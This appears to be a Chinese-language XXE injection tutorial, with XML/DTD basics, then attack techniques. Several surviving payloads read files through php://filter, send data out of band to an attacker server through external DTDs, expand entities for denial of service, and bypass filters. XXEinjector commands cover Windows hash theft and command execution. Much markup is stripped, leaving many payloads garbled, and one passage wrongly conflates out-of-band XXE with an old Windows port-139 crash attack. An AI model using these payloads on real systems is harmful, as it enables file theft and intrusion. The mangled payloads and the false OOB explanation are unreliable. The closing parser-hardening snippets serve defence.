XXE 漏洞全称XML External Entity Injection,即 XML 外部实体注入漏洞,XXE 漏洞发生在应用程序解析 XML 输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。
xxe漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意 xml文件。
XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用 户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文 档元素
XML 和 HTML 为不同的目的而设计:
XML 被设计用来传输和存储数据,其焦点是数据的内容。
HTML 被设计用来显示数据,其焦点是数据的外观。
XML 文档形成了一种树结构,它从"根部"开始,然后扩展到"枝叶"。
<note>
<to>Toveto>
<from>Janifrom>
<heading>Reminderheading>
<body>Don't forget me this weekend!body>
note>
第一行是 XML 声明。它定义 XML 的版本(1.0)和所使用的编码(UTF-8 : 万国码, 可显示各种语言)。
下一行描述文档的根元素(像在说:“本文档是一个便签”):
<note>
接下来 4 行描述根的 4 个子元素(to, from, heading 以及 body):
<to>Toveto>
<from>Janifrom>
<heading>Reminderheading>
<body>Don't forget me this weekend!body>
XML 文档必须包含根元素。该元素是所有其他元素的父元素。
XML 文档中的元素形成了一棵文档树。这棵树从根部开始,并扩展到树的最底端。
所有的元素都可以有子元素
1.XML 必须包含根元素,它是所有其他元素的父元素,比如以下实例中 note 就是根元素
Tove
Jani
Reminder
Don't forget me this weekend!
2.XML 声明文件的可选部分,如果存在需要放在文档的第一行
3.所有的 XML 元素都必须有一个关闭标签
在 HTML 中,某些元素不必有一个关闭标签:
This is a paragraph.
在 XML 中,省略关闭标签是非法的。所有元素都必须有关闭标签
This is a paragraph.
4.XML 标签对大小写敏感
必须使用相同的大小写来编写打开标签和关闭标签:
这是错误的
这是正确的
5.XML 必须正确嵌套
This text is bold and italic
6.XML 属性值必须加引号
Tove
Jani
7.实体引用
在 XML 中,一些字符拥有特殊的意义
在 XML 中,有 5 个预定义的实体引用:
< | < | less than |
---|---|---|
> | > | greater than |
& | & | ampersand |
' | ’ | apostrophe |
" | " | quotation mark |
8.XML 中的注释
9.在 XML 中,空格会被保留
HTML 会把多个连续的空格字符裁减(合并)为一个:
10.XML 以 LF 存储换行
在 Windows 应用程序中,换行通常以一对字符来存储:回车符(CR)和换行符(LF)。
在 Unix 和 Mac OSX 中,使用 LF 来存储新行。
在旧的 Mac 系统中,使用 CR 来存储新行。
XML 以 LF 存储换行。
11.XML 元素
XML 元素指的是从(且包括)开始标签直到(且包括)结束标签的部分。XML 元素是可扩展的
12.XML 属性
XML元素具有属性,类似 HTML。属性(Attribute)提供有关元素的额外信息。
属性通常提供不属于数据组成部分的信息。在下面的实例中,文件类型与数据无关,但是对需要处理这个元素的软件来说却很重要
<file type="gif">computer.giffile>
XML 属性必须加引号
避免 XML 属性
属性难以阅读和维护。请尽量使用元素来描述数据。而仅仅使用属性来提供与数据无关的信息
文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。 DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。
]>
Tove
Jani
Reminder
Don't forget me this weekend
假如 DTD 位于 XML 源文件的外部,那么它应通过下面的语法被封装在一个 DOCTYPE 定义中:
这个 XML 文档和上面的 XML 文档相同,但是拥有一个外部的 DTD:
Tove
Jani
Reminder
Don't forget me this weekend!
这是包含 DTD 的 “note.dtd” 文件:
实体又分为一般实体和参数实体
1.一般实体的声明语法:
引用实体的方式: &实体名 ;
2.参数实体只能在DTD中使用,参数实体的声明格式:
引用实体的方式: %实体名 ;
语法
实例
DTD 实例:
XML 实例:
&writer;©right;
语法
实例
DTD 实例:
XML example:
&writer;©right;
PCDATA 的意思是被解析的字符数据(parsed character data)。
可把字符数据想象为 XML 元素的开始标签与结束标签之间的文本。
PCDATA 是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。
文本中的标签会被当作标记来处理,而实体会被展开。
不过,被解析的字符数据不应当包含任何 &、< 或者 > 字符;需要使用 &、< 以及 > 实体来分别替换它 们。
CDATA 的意思是字符数据(character data)。
CDATA 是不会被解析器解析的文本。在这些文本中的标签不会被当作标记来对待,其中的实体也不会被 展开。
1.直接通过DTD外部实体声明
]>
&b;
2.通过DTD文档引入外部DTD文档,再引入外部实体声明
XML内容:
&b;
DTD文件内容:
3.通过DTD外部实体声明引入外部实体声明
先写一个外部实体声明,然后引用的是在攻击者服务器上面的外部实体声明
XML内容:
%d;
]>
&b;
dtd文件内容:
甄别那些接受XML作为输入内容的端点。 但是有时候,这些端点可能并不是那么明显(比如,一些仅使用JSON去访问服务的客户端)。在这种情况下,渗透测试人员就必须尝试不同的测试方式,比如修改HTTP的请求方法,修改Content-Type头部字段等等方法,然后看看应用程序的响应,看看程序是否解析了发送的内容,如果解析了,那么则可能有XXE攻击漏洞。
例如:判断wsdl(web服务描述语言)。或者一些常见的采用xml的java服务配置文件(spring,struts2)。不过现实中存在的大多数XXE漏洞都是blind,即不可见的,必须采用带外通道进行返回信息的记录,这里简单来说就是攻击者必须具有一台具有公网ip的主机。
例如:从PHP代码层面
存在 Content-Type:text/xml , 说明post 的数据包含 XML 格式,如:
可以在请求头中添加 Content-Type:text/xml 或 Content-type:application/xml ,然后构造
payload测试是否存在XXE攻击漏洞
直接读靶机文件
]>
&xxe;
恶意引入外部参数实体
%file;
]>
&hhh;
OOB的意思是“束缚数据脱离”,这是一种破坏Windows系统的过程。它通过向TCP端口139发送随机数来攻击操作系统,从而让中央处理器(CPU)一直处于繁忙状态。
OOB攻击 - 原理攻击者是利用Windows下微软网络协定NetBIOS的一个例外处理程序…当然95系列的不稳定性,也是众所周知的,因此大不必把一切蓝屏死机都归罪到oob的头上
简单说就是传递一个特别大的数据包导致系统死机.常见的场景是XXE通过XML实体漏洞来攻击
先使用php://filter获取目标文件的内容,然后将内容以http请求发送到接受数据的服务器(攻击服务器)
%dtd;
%send;
]>
test.dtd的内容,内部的%号要进行实体编码成%
test.dtd:
"
>
%payload;
访问接受数据的服务器中的日志信息,可以看到经过base64编码过的数据,解码后便可以得到数据
基于报错的原理和OOB类似,OOB通过构造一个带外的url将数据带出,而基于报错是构造一个错误的url并将泄露文件内容放在url中,通过这样的方式返回数据。
所以和OOB的构造方式几乎只有url不同,其他地方一模一样
%remote;
%send;
]>
1234
xml.dtd
">
%start;
如果目标主机的防火墙十分严格,不允许我们请求外网服务器dtd呢?由于XML的广泛使用,其实在各个系统中已经存在了部分DTD文件。按照上面的理论,我们只要是从外部引入DTD文件,并在其中定义一些实体内容就行。
xml version="1.0"?>
<!DOCTYPE message [
<!ENTITY % remote SYSTEM "/usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
<!ENTITY % ISOamso '
">
%eval;
%send;
'>
%remote;
]>
<message>1234</message>
虽然W3C协议是不允许在内部的实体声明中引用参数实体,但是很多XML解析器并没有很好的执行这个检查。几乎所有XML解析器能够发现如下这种两层嵌套式的。
">
%start;
%send;
]>
10
xml version="1.0"?>
<!DOCTYPE message [
<!ELEMENT message ANY>
<!ENTITY % para1 SYSTEM "file:///flag">
<!ENTITY % para '
">
%para2;
'>
%para;
]>
<message>10</message>
和读文件差不多,只不过把URI改成内网机器地址
DOCTYPE foo [
<!ELEMENT foo ANY >
]>
<user><firstname>&rabbit;firstname><lastname>666lastname>user>
该 CASE 是在安装 expect 扩展的 PHP 环境里执行系统命令
]>
&xxe;
]>
&lol9;
此测试可以在内存中将小型 XML 文档扩展到超过 3GB 而使服务器崩溃。
亦或者,如果目标是UNIX系统,
]>
&xxe;
利用政策匹配不严格,大小写绕过
ENTITY SYSTEM file #被过滤
使用编码方式绕过:UTF-16BE
cat payload.xml | iconv -f utf-8 -t utf-16be > payload.8-16be.xml
如果过滤了http等协议,可以利用实体编码绕过:
" >
%a;
]>
&b;
">
%a;
%b;
]>
&hhh;
%a;
]>
%a;
]>
&hack;
%a;
]>
&hack;
(的base64加密)
PCFFTlRJVFkgaGhoIFNZU1RFTSAncGhwOi8vZmlsdGVyL3JlYWQ9Y29udmVydC5iYXNlNjQtZW5jb2RlL3Jlc291cmNlPS4vZmxhZy5waHAnPg==
DOCTYPE note [
]>
<svg height="100" width="1000">
<text x="10" y="20">&file;text>
svg>
tips:从当前文件夹读取文件可以使用/proc/self/cwd
利用EXCEL进行XXE攻击
首先用excel创建一个空白的xlsx,然后解压
mkdir XXE && cd XXE
unzip ../XXE.xlsx
将[Content_Types].xml
改成恶意xml,再压缩回去
zip -r ../poc.xlsx *
xxe-lab
抓包看一下
看到了我们发送的用户名/密码都是以POST形式发送的。并且很像是xml文档、
接下来只要有一点点的xxe基础就可以了,目标明确,只要我们构造的payload最后输出在username里面就行了,于是构造
]>
&test; Mikasa
可以看到已经获取到Windows配置信息
XXEinjector是一款基于Ruby的XXE注入工具,
它可以使用多种直接或间接带外方法来检索文件。其中,目录枚举功能只对Java应用程序有效,而暴力破解
攻击需要使用到其他应用程序。
建议在kali环境下运行
基本参数详解:
--host 必填项– 用于建立反向链接的IP地址。(--host=192.168.0.2)
--file 必填项- 包含有效HTTP请求的XML文件。(--file=/tmp/req.txt)
--path 必填项-是否需要枚举目录 – 枚举路径。(--path=/etc)
--brute 必填项-是否需要爆破文件 -爆破文件的路径。(--brute=/tmp/brute.txt)
--logger 记录输出结果。
--rhost 远程主机IP或域名地址。(--rhost=192.168.0.3)
--rport 远程主机的TCP端口信息。(--rport=8080)
--phpfilter 在发送消息之前使用PHP过滤器对目标文件进行Base64编码。
--netdoc 使用netdoc协议。(Java).``
--enumports 枚举用于反向链接的未过滤端口。(--enumports=21,22,80,443,445)
--hashes 窃取运行当前应用程序用户的Windows哈希。
--expect 使用PHP expect扩展执行任意系统命令。(--expect=ls)
--upload 使用Java jar向临时目录上传文件。(--upload=/tmp/upload.txt)
--xslt XSLT注入测试。
--ssl 使用SSL。
--proxy 使用代理。(--proxy=127.0.0.1:8080)
--httpport Set自定义HTTP端口。(--httpport=80)
--ftpport 设置自定义FTP端口。(--ftpport=21)
--gopherport 设置自定义gopher端口。(--gopherport=70)
--jarport 设置自定义文件上传端口。(--jarport=1337)
--xsltport 设置自定义用于XSLT注入测试的端口。(--xsltport=1337)
--test 该模式可用于测试请求的有效。
--urlencode URL编码,默认为URI。
--output 爆破攻击结果输出和日志信息。(--output=/tmp/out.txt)
--timeout 设置接收文件/目录内容的Timeout。(--timeout=20)
--contimeout 设置与服务器断开连接的,防止DoS出现。(--contimeout=20)
--fast 跳过枚举询问,有可能出现结果假阳性。
--verbose 显示verbose信息。
枚举HTTPS应用程序中的/etc目录:
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt –ssl
使用gopher(OOB方法)枚举/etc目录:
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt --oob=gopher
二次漏洞利用:
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/vulnreq.txt--2ndfile=/tmp/2ndreq.txt
使用HTTP带外方法和netdoc协议对文件进行爆破攻击:
ruby XXEinjector.rb --host=192.168.0.2 --brute=/tmp/filenames.txt--file=/tmp/req.txt --oob=http –netdoc
通过直接性漏洞利用方式进行资源枚举:
ruby XXEinjector.rb --file=/tmp/req.txt --path=/etc --direct=UNIQUEMARK
枚举未过滤的端口:
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --enumports=all
窃取Windows哈希:
ruby XXEinjector.rb--host=192.168.0.2 --file=/tmp/req.txt –hashes
使用Java jar上传文件:
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt--upload=/tmp/uploadfile.pdf
使用PHP expect执行系统指令:
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --oob=http --phpfilter--expect=ls
测试XSLT注入:
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt –xslt
记录请求信息:
ruby XXEinjector.rb --logger --oob=http--output=/tmp/out.txt
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);
Python:
from lxml import etreexmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
过滤关键词: